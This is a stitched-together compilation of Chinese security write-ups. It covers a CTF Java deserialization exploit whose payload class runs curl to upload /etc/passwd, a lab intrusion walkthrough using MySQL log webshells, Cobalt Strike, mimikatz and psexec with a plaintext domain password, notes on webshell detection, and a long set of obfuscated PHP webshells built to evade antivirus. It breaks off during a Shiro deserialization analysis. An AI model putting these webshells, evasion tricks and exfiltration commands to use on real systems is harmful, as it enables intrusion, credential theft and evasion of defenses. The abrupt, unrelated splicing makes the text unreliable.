String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用

Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}

最近刚刚入门java,找到这道题的wp,理解跟着复现下

首先看下index控制器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}

@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();
return "welcome bro.";
}
}

首先分析下代码逻辑吧。使用了springboot框架,不过并没在代码里体现相关特性,算是晃一枪。然后题目设置了俩个路由,一个根目录一个readobject,看到readobject其实就很明显了,这是道序列化的题。
接着进入/readobject里看,定义了一个unser方法,要求传入data,内部逻辑会先对data进行base64解码,然后转换为字节流

1
2
3
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);

接着要求name和year的值满足if判断,具体逻辑就不说了,很明显

1
2
3
4
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();

题目主要部分分析结束,看一下给的包
图片

结果是空的,说明这道题要用java的原生类,继续看下题目有没有其他线索

题目里给了TostringBean类

图片

该类里面有个toString方法,里面有个defineClass可用于加载动态字节码

所以我们需要找一个原生类通过调用readobject来调用tostring

正好CC5就有这种类BadAttributeValueExpException

这里直接看重点,不放出CC5全部代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class BadAttributeValueExpException extends Exception   {
      private Object val;
  
  private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
}

可以看到代码最下面调用了valobj的tostring方法。valobj也是在上面通过get方法获得的,所以我们是可以通过反射来自由控制的。

整理思路写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com;
import javax.management.BadAttributeValueExpException;
import java.util.Base64;
import java.io.*;
import java.lang.reflect.Field;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

public class exp {
public static byte[] serialize(Object o) throws Exception {
try (ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout);) {
oout.writeUTF("gadgets");
oout.writeInt(2021);
oout.writeObject(o);
return baout.toByteArray();
}

}

public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args)throws Exception {
BadAttributeValueExpException badAdv = new BadAttributeValueExpException();
toStringBean toStringBean = new toStringBean();
setFieldValue(badAdv,"val",toStringBean);
byte[] classByte = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA\n" +
"CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP\n" +
"TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0\n" +
"aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm\n" +
"KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y\n" +
"Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw\n" +
"YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp\n" +
"bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb\n" +
"DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB\n" +
"AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj\n" +
"dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z\n" +
"bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry\n" +
"ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n\n" +
"OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA\n" +
"AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA\n" +
"AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA\n" +
"DwABABAAAAACABE=");
byte[] bytes = serialize(badAdv);
byte[] payload = Base64.getEncoder().encode(bytes);
System.out.println(new String(payload));

}
}

主要解释下main函数里的吧,因为这是做题且只能使用原生类,不能直接照搬cc5,所以直接采取上面的思路。
new一个BadAttributeValueExpException,然后去调用toStringBean里的toString,再去调用defineClass加载字节码,就能执行命令了。这里字节码还需要我们自己再写个恶意类去生成(为了便于理解,可以暂时将字节码理解java程序编译后生成的class文件里的东西)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com;

import java.io.IOException;

public class evil {
public evil() {
try{
String[] command = {"/bin/bash","-c","curl url -F file=@/etc/passwd"};
Runtime.getRuntime().exec(command);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

接下来在自己的服务器开个监听,直接打就行了。

0x04 内网渗透

4.1 将web服务器上线到CS

将刚才生成的beacon.exe上传到web目录,然后在shell中执行这个exe,就可以将shell上线到CS了。

图片

4.2 目标主机信息收集

拿到 shell 第一步,调低心跳值,默认心跳为 60s,执行命令的响应很慢

我这是自己的内网且没有杀软我就设置为 0 了,真实环境不要设置这么低

进入 beacon 执行 sleep 0,然后查看下基本的本机信息:

1
2
3
4
whoami
hostname
net user
net localgroup administrators

systeminfo 可以查看系统详细信息,提供两个小 tips:

查看是什么操作系统 & 系统版本:

系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%

图片

图片

查询已安装的软件及版本信息:wmic product get name,version

查询进程及服务:

tasklist,默认显示映像名称,PID,会话名,会话,内存使用

tasklist /svc,默认显示映像名称,PID,服务

1
wmic process list brief

常见的杀软进程:
|进程名|软件|
|:—-|:—-|
|360sd.exe|360 杀毒|
|360tray.exe|360 实时保护|
|ZhuDongFangYu.exe|360 主动防御|
|KSafeTray.exe|金山卫士|
|SafeDogUpdateCenter.exe|安全狗|
|McAfee|McShield.exe|
|egui.exe|NOD32|
|AVP.exe|卡巴斯基|
|avguard.exe|小红伞|
|bdagent.exe|BitDefender|

4.3 域信息收集

什么是域

参考文章:内网渗透学习导航

域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 从 Windows Server 2003 开始 , Active Directory 是负责维护该中央数据库的 Windows 组件。Windows 域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。

判断是否存在域

使用 ipconfig /all 查看 DNS 服务器:

图片

发现 DNS 服务器名为 god.org,查看域信息:net view

图片

查看主域信息:net view /domain

图片

查看时间服务器:net time /domain

图片

发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)

查询当前的登录域与用户信息:net config workstation

图片

查找域控

利用 nslookup 命令直接解析域名服务器:

1
shell nslookup god.org		# nslookup 域名

查询域控和用户信息

查看当前域的所有用户:net user /domain

图片

获取域内用户的详细信息:wmic useraccount get /all

可以获取到用户名,描述信息,SID 域名等:

查看所有域成员计算机列表:net group "domain computers" /domain

图片

查看域管理员:net group "domain admins" /domain

图片

获取域密码信息:net accounts /domain

图片

4.4 横向探测

获取到一个 cs 的 beacon 后可以继续查看目标内网情况和端口开放情况

在 beacon 上右键 -> 目标 -> 选择 net view 或者 port scan(端口扫描):

net view

图片

执行之后,可以在CobaltStrike->可视化->目标列表看到扫描出来的主机

图片

用 cs 的 hashdump 读内存密码:hashdump

用 mimikatz 读注册表密码:logonpasswords

图片

在凭证信息一栏可以清楚查看

图片

如果权限不够可以提权,自带部分提权POC

图片

图片

额外的提权插件:ElevateKit额外增加 ms14-058ms15-051ms16-016uac-schtasks 四种提权方式

抓取密码后可以先探测内网其他主机:

ping 方法:

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

最简单的直接 arp -a 查看也可以

4.5 横向移动

因为192.168.52.0/24段不能直接连接到192.168.237.137(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
简单来说,SMB Beacon 有两种方式

第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash

新建一个 Listenerpayload 设置为 Beacon SMB

图片

在已有的 Beacon上右键 Spawn(生成会话 / 派生),选择创建的 smb beacon 的 listerner:

图片

选择后会反弹一个子会话,在 external 的 ip 后面会有一个链接的小图标

图片

这就是派生的 SMB Beacon,当前没有连接

可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它

第二种在已有的 beacon 上创建监听,用来作为跳板进行内网穿透

前提是能够通过 shell 之类访问到内网其他主机

psexec 使用凭证登录其他主机

前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息

于是可以尝试使用 psexec 模块登录其他主机

右键选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块

图片

图片

在弹出的窗口中选择使用 god.org 的 Administrator 的凭证信息

监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话:

图片

可以看到分别执行了

1
2
3
4
5
beacon> rev2self
[*] Tasked beacon to revert token
beacon> make_token GOD.ORG\Administrator V0Wldl19980114
[*] Tasked beacon to create a token for GOD.ORG\Administrator
beacon> jump psexec ROOT-TVI862UBEH smb

这几条命令,执行后得到了 ROOT-TVI862UBEH 这台主机的 beacon

如法炮制得到了域控主机 OWA 的 beacon

token 窃取

除了直接使用获取到的 hash 值,也可以直接窃取 GOD\Administrator 的 token 来登录其他主机

选择 beacon 右键 -> 目标 -> 进程列表

选择 GOD\Administrator 的 token 盗取:

图片

然后在选择令牌处勾选使用当前 token 即可

0x05 总结

我们利用mysql日志写shell或者CMS的模板文件写shell轻松拿下Web服务器,再利用Web服务器作为跳板,去横向收集域内主机信息,并利用窃取的凭证横向移动到其他主机,最终实现整个域的控制

0x01 环境搭建

红日安全团队提供的靶机都是虚拟机形式,需要对虚拟机网络进行一定的配置。关于VMware的几种网络模式的原理和区别,可以参考这篇文章——VMware网络连接模式——桥接模式、NAT模式以及仅主机模式的介绍和区别 介绍非常详细,通俗易懂。

我们下载完靶机有三个压缩包,对应三个虚拟机:

图片

VM1为win7,VM2为winserver 2003即win2k3,VM3为winserver 2008

可以看到VM1是通外网的Web服务器,VM2和VM3是内网环境,与外网隔绝,只可以通过VM1进行访问。

一要营造一个内网环境(包括VM1,VM2,VM3),因此需要将虚拟机与外网隔绝,在VMware中可以通过虚拟机设置中的网络适配器来设置,设置成仅主机模式放到一个VMnet中即可实现三台主机在一个内网。

二要使得VM1能够访问外网,所以需要给VM1添加一个网卡,设置成NAT模式。

所以最终我给VM1(win7) 设置两个网卡,一个自定义连接到VMnet1(仅主机模式),另一个连接模式为NAT,方便连接外网。VM2(winserver2k3)和VM3(winserver2008)

0x02 启动靶机和服务

将三个靶机都启动,此时需要占用较大的内存,建议将其他应用关闭,另外电脑配置最好能在16G及以上。

密码都是 hongrisec@2019,可能会提醒你修改密码,修改后务必记住自己的密码。

进入win7 启动phpstudy。

发现三台主机都是固定IP的,是在192.168.52.0/24段可以通过三台主机之前进行ping测试,测试能通后,可以正式开始练习了。如果遇到NAT(比如主机和同网段的kali)ping不通win7的情况,试着关闭防火墙再试试

0x03 拿下Web服务器

上述基本完成后,我们可以正式开始本次靶机渗透之旅

3.1 信息收集

本机kali的地址为:192.168.237.137

搜索同段的主机,再针对性的使用nmap进行服务端口扫描

1
netdiscover -i eth0 -r 192.168.237.0/24

或者直接使用nmap扫描同一C段:

1
nmap -sP 192.168.237.0/24		# -sP ping方式探测存活主机

图片

1
nmap -sC -sV -Pn -p 1-65535 192.168.237.136	# -sC默认脚本 -sV 服务版本 -p指定端口

图片

3.2 漏洞利用

发现80 端口开放,进行访问,是一个php探针页面,结合信息收集阶段得到phpstudy的信息,可以确定是一个phpstudy的集成环境。

网站的绝对路径:C:/phpStudy/www/

此时,有两种攻击方案:

  1. phpstudy 后门
  2. 看看MySQL能不能连进去
    测试发现使用的版本恰好没有后门文件可以利用。尝试第二种方式,测试MySQL外连和登录密码。这里出题比较简单,直接是弱口令,root/root就可以连进去,而且是可以外连的。

使用dirmap或者御剑扫描web目录,发现phpmyAdminbeifen.rar(如果是没有弱口令,从备份文件中找配置也是一个突破口)

图片

备份文件是一个yxcms的源码:

在全文搜索admin之后,发现后台默认的用户名和密码:admin/123456

发现后台地址:/index.php?r=admin

图片

接下来,又有两种攻击方案可以选择:

  1. 利用phpMyAdmin漏洞进行getshell或者利用MySQL写Shell
  2. 继续跟进yxcms
    因为是练习嘛,我们都尝试一遍。

3.2.1 mysql日志写shell

先看一下有没有写权限:

1
show variables like '%secure%';

图片

secure_file_priv ==''为空说明有任意目录的写权限,非空则只能在对应目录读文件,这里的非空包括NULL。所以这里没有写权限,无法直接写shell。

因为在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改,只能够通过以下方式修改

windows下:

修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

保存,重启mysql。

Linux下:

/etc/my.cnf[mysqld]下面添加local-infile=0选项。

这里无法直接写shell,那我们来尝试日志写 shell,开启日志记录

1
2
3
set global general_log = "ON"; 	# 开启日志记录
show variables like 'general%'; # 查看当前的日志记录
set global general_log_file="C://phpStudy/www/v0w.php"; # 指定日志文件

图片

进行一次查询,查询记录就将写到日志文件中,形成一个webshell。

1
SELECT '<?php eval($_POST["a"]);?>'

图片

使用蚁剑连接,getshell

3.2.2 通过yxcms getshell

利用之前得到的一些信息,登录后台

1
2
后台地址:/index.php?r=admin
用户名和密码:admin 123456

看看有没有上传或者什么可以写入shell的地方。可以通过Seay审计工具来进行比较细致的审计 ,不过我们不用工具,也容易找到前台模板的管理页面存在编辑功能,明显的写shell的地方。

比如随便找一个模板进行修改,插入一句话木马(虽然是随便找的,但是需要知道,这个模板在哪个网页执行)

图片

这个很明显就在index.php处的搜索功能。

比如我们随便搜索一个关键词,就会触发这个shell。再或者通过下载下来的备份文件搜索这个文件,直接访问到这个文件的路径也可以拿下shell

1
2
http://192.168.237.136/yxcms/index.php?r=default%2Findex%2Fsearch&keywords=q&type=all
http://192.168.237.136/yxcms/protected/apps/default/view/default/index_search.php

Webshell检测方式

一句话木马很常见,但是不知道主流杀毒或waf的检测方式,也只是运气好了能进去,运气不好就换下一个。因此需要了解一下检测方式

日志检测

使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。它的缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变的比较低。

文件内容检测(静态检测)

静态检测是指对脚本文件中所使用的关键词、高危函数、文件修改的时间、文件权限、文件的所有者以及和其它文件的关联性等多个维度的特征进行检测,对已知的webshell查找准确率高,但缺点是漏报率、误报率高,无法查找0day型webshell,而且容易被绕过。
具体的检测方式如下:

Webshell特征检测

使用正则表达式制定相应的规则是很常见的一种静态检测方法,通过对webshell文件进行总结,提取出常见的特征码、特征值、威胁函数形成正则,再进行扫描整个文件,通过关键词匹配脚本文件找出webshell。
比较常见的如:

1
系统调用的命令执行函数:eval\system\cmd_shell\assert等

文件名检测

这个很好理解,有的文件名一看便知道是webshell,也是根据一些常见的webshell文件名进行总结然后再进行过滤。
如:

backdoor.phpwebshell.php等等

文件行为检测(动态检测)

动态特征检测是通过Webshell运行时使用的系统命令或者网络流量及状态的异常来判断动作的威胁程度,Webshell通常会被加密从而避开静态特征的检测,当Webshell运行时就需要向系统发送系统命令来达到控制系统或者其他的目的。通过检测系统调用来监测甚至拦截系统命令被执行。
具体检测方式如下:

流量行为特征检测

webshell带有常见的系统调用、系统配置、数据库、文件操作动作等,它的行为方式决定了它的数据流量中的参数具有一些明显的特征。
如:

1
ipconfig/ifconfig/syste/whoami/net stat/eval/database/systeminfo

攻击者在上传完webshell后肯定会执行些命令等,那么便可以去检测系统的变化以及敏感的操作,通过和之前的配置以及文件的变化对比监测系统达到发现webshell的目的
进程分析

利用netstat命令来分析可疑的端口、IP、PID及程序进程

1
netstat -anptu | grep xx

有些进程是隐藏起来的,可以通过以下命令来查看隐藏进程

1
2
3
ps -ef | awk '{print}' | sort -n | uniq >1
ls /proc | sort -n |uniq >2
diff 1 2

文件分析
通过查看/tmp /init.d /usr/bin /usr/sbin等敏感目录有无可疑的文件,针对可以的文件可使用stat进行创建修改时间、访问时间的详细查看,若修改时间距离事件日期接近,有线性关联,说明可能被篡改或者其他

1
stat /usr/bin

除此之外,还可以查找新增文件的方式来查找webshell
查找24小时内被修改的PHP文件

1
find ./ -mtime 0 -name "*.php"

查找隐藏文件

1
ls -ar | grep "^\."

系统信息分析

通过查看一些系统信息,来进行分析是否存在webshell

1
2
3
4
5
6
cat /root/.bash_history
查看命令操作痕迹
cat /etc/passwd
查看有无新增的用户或者除root之外uid为0的用户
crontab /etc/cron*
查看是否有后门木马程序启动相关信息

静态免杀

关于eval与assert

关于eval函数在php给出的官方说明是

eval 是一个语言构造器而不是一个函数,不能被 可变函数 调用 可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行 通俗的说比如你 <?php $a=eval;$a()?> 这样是不行的 也造就了用eval的话达不到assert的灵活,但是在php7.1以上assert已经不行
关于assert函数

assert() 回调函数在构建自动测试套件的时候尤其有用,因为它们允许你简易地捕获传入断言的代码,并包含断言的位置信息。 当信息能够被其他方法捕获,使用断言可以让它更快更方便!

PHP木马静态免杀基本是通过各种加密、移位或异或等方式来隐藏关键词

将关键词混淆在类中、函数中

字符串变形:

1
2
3
4
5
6
7
8
9
10
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。

用 substr_replace() 函数变形assert 达到免杀的效果 

1
2
3
4
<?php
    $a = substr_replace("assexx","rt",4);
    $a($_POST['x']);
 ?>

定义函数绕过
定义一个函数把关键词分割达到bypass效果

1
2
3
<?php
function kdog($a){ $a($_POST['x']);} kdog(assert);
?>

反之

1
2
3
4
5
<?php
function kdog($a){
assert($a);
}
kdog($_POST[x]);

回调函数

call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
大多数回调函数已经被加入规则里这里建议使用一些冷门的

1
2
3
4
5
6
7
<?php
    forward_static_call_array(assert,array($_POST[x]));
?>

<?php
forward_static_call_array(assert,array($_POST[x]));
?>

回调函数变形
定义个函数 或者类来调用

定义一个函数

1
2
3
4
5
6
<?php
function test($a,$b){
array_map($a,$b);
}
    test(assert,array($_POST['x']));
?>

定义一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class loveme {
    var $a;
        var $b;
        function __construct($a,$b) {
            $this->a=$a;
            $this->b=$b;
        }
        function test() {
            array_map($this->a,$this->b);
        }
    }
    $p1=new loveme(assert,array($_POST['x']));
    $p1->test();
?>

这里贴上网上师傅自己写的混淆小马,同样利用了冷门回调函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function myfunction_key($a,$b){
if ($a===$b){
return 0;
}
return ($a>$b)?1:-1;
}
class rtHjmCdS{
public $fHfoj;
public $fDaGv;
public $HgAjSd;
function __construct(){

$_xlr="J"^"\x2b";
$_Nbv="V"^"\x25";
$_cfh="T"^"\x27";
$_PdK="I"^"\x2c";
$_zJQ="+"^"\x59";
$_RgD="="^"\x49";
$this->fDaGv=$_xlr.$_Nbv.$_cfh.$_PdK.$_zJQ.$_RgD;

$_fLd="a"^"\x0";
$_wOK="j"^"\x18";
$_tAH="U"^"\x27";
$_HeV="J"^"\x2b";
$_cyo="-"^"\x54";
$_iSW="F"^"\x19";
$_jYS="/"^"\x5a";
$_BFt="h"^"\x1";
$_TRn="p"^"\x1e";
$_izx="k"^"\x1f";
$_gMz="X"^"\x3d";
$_TNu="<"^"\x4e";
$_UiE="v"^"\x5";
$_iHI="q"^"\x14";
$_LIK="m"^"\xe";
$_Yey="Z"^"\x2e";
$_lMr="="^"\x62";
$_WOI="+"^"\x5e";
$_FQy="u"^"\x14";
$_sjC="d"^"\x17";
$_mOr=">"^"\x4d";
$_Txf="*"^"\x45";
$_PmW="O"^"\x2c";
$this->HgAjSd=$_fLd.$_wOK.$_tAH.$_HeV.$_cyo.$_iSW.$_jYS.$_BFt.$_TRn.$_izx.$_gMz.$_TNu.$_UiE.$_iHI.$_LIK.$_Yey.$_lMr.$_WOI.$_FQy.$_sjC.$_mOr.$_Txf.$_PmW;
}

function __destruct(){

$Hfdag = $this->HgAjSd; //'array_uintersect_uassoc'
$fdJfd = $this->fDaGv; // 'assert'
//array_uintersect_uassoc(array($_POST[k]),array(''),'assert','strstr');
@$Hfdag(array($this->fHfoj),array(''),$fdJfd,'myfunction_key');
}
}
$jfnp=new rtHjmCdS();
@$jfnp->fHfoj=$_REQUEST['css'];
?>

例如:使用str_rot13函数,注意assert适用于PHP5版本

1
2
3
4
<?php
$c=str_rot13('nffreg');
$c($_REQUEST['x']);
?>

str_rot13() 函数对字符串执行 ROT13 编码,通过编码来最终获得assert,但是这样是能被查杀出来的,可以将其隐藏在类或函数中

1
2
3
4
5
6
7
<?php
function Sn0w($a){
$b=str_rot13('nffreg');
$b($a);
}
Sn0w($_REQUEST['x']);
?>

但是这样还是绕不过D盾,那就在函数的外面再套上类来试试

1
2
3
4
5
6
7
8
9
10
11
<?php
class One{
function Sn0w($x){
$c=str_rot13('n!ff!re!nffreg');
$str=explode('!',$c)[3];
$str($x);
}
}
$test=new One();
$test->Sn0w($_REQUEST['x']);
?>

利用explode函数来分割字符串,再由class封装类来进行绕过D盾
拆解合并

1
2
3
4
5
<?php
$ch = explode(".","hello.ass.world.er.t");
$c = $ch[1].$ch[3].$ch[4]; //assert
$c($_POST['x']);
?>

还有很多加解密方式,利用各种函数如array_map、array_key、preg_replace来隐藏关键字

1
随机异或产生

"Y"^"\x38"的结果就是a,同样的生成assert即可

1
2
3
4
5
6
7
8
$_StL="Y"^"\x38";
$_ENr="T"^"\x27";
$_ohw="^"^"\x2d";
$_gpN="~"^"\x1b";
$_fyR="g"^"\x15";
$_pAs="H"^"\x3c";

$c=$_StL.$_ENr.$_ohw.$_gpN.$_fyR.$_pAs;

上面讲了三种隐藏关键字的方式,作用大同小异
特殊字符干扰

特殊字符干扰,要求是能干扰到杀软的正则判断,还要代码能执行,网上广为流传的连接符

初代版本

1
2
3
4
5
<?php
    $a = $_REQUEST['a'];
    $b = null;
    eval($b.$a);
?>

不过已经不能免杀了,利用适当的变形即可免杀 如

1
2
3
4
5
<?php
    $a = $_POST['a'];
    $b = "\n";
    eval($b.=$a);
?>

其他方法大家尽情发挥如”\r\n\t”,函数返回,类,等等
利用数组

1
2
3
4
<?php
$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['a'])];
?>

利用函数

1
2
3
4
5
6
<?php
function func(){
return $_REQUEST['x'];
}
preg_replace("/hello/e",func(),"hello");
?>

加上/e可以当作PHP代码进行解析,测试在5.6版本下可以使用
除此之外,例如create_function函数,用来创建匿名函数

1
2
3
4
<?php 
$a = create_function('',$_POST['a']);
$a();
?>

字符特征马
对于无特征马这里我的意思是无字符特征

利用异或,编码等方式 例如p神博客的

1
2
3
4
5
6
<?php
    $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //
$_='assert';
    $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
    $___=$$__;
    $_($___[_]); // assert($_POST[_]);

到这里静态免杀基本就完了,总结一下:

  • 使用冷门函数
  • 尽量避免使用敏感关键字,可以用各种方式生成
  • 将关键代码混淆在类、函数里

1 漏洞说明

Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在Apache Shiro <= 1.2.4版本中存在反序列化漏洞。

Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

  1. 检索cookie中RememberMe的值
  2. Base64解码
  3. 使用AES解密
  4. 反序列化
    漏洞原因在于第三步,AES加解密的密钥是写死在代码中的,于是我们可以构造RememberMe的值,然后让其反序列化执行。

判断AES秘钥

shiro在1.4.2版本之前, AES的模式为CBC,在1.4.2版本之后为GCM

密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,

而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段

Shiro框架默认指纹特征:

未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

2 漏洞分析

代码下载

1
2
3
git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4

编辑shiro\samples\web的pom.xml中的pom.xml文件:

1
2
3
4
5
6
7
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>

首先看下RememberMe值的加密过程。在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin下个断点,点击debug开启tomcat服务
图片

之后在web端登录账户root/secret,勾选上Remember Me的按钮,程序会停在断点处

图片

首先调用forgetIdentity构造方法处理request和response请求,包括在response中加入cookie信息,然后调用rememberIdentity函数,来处理cookie中的rememberme字段。跟进rememberIdentity函数

图片

rememberIdentity函数首先调用getIdentityToRemember函数来获取用户身份,这里也就是”root”,跟进rememberIdentity构造方法

图片

调用convertPrincipalsToBytes方法将accountPrincipals也就是”root”转换为字节形式,跟进函数

图片

转换过程是先序列化用户身份”id”,在对其进行encrypt,跟进encrypt函数

图片

图片

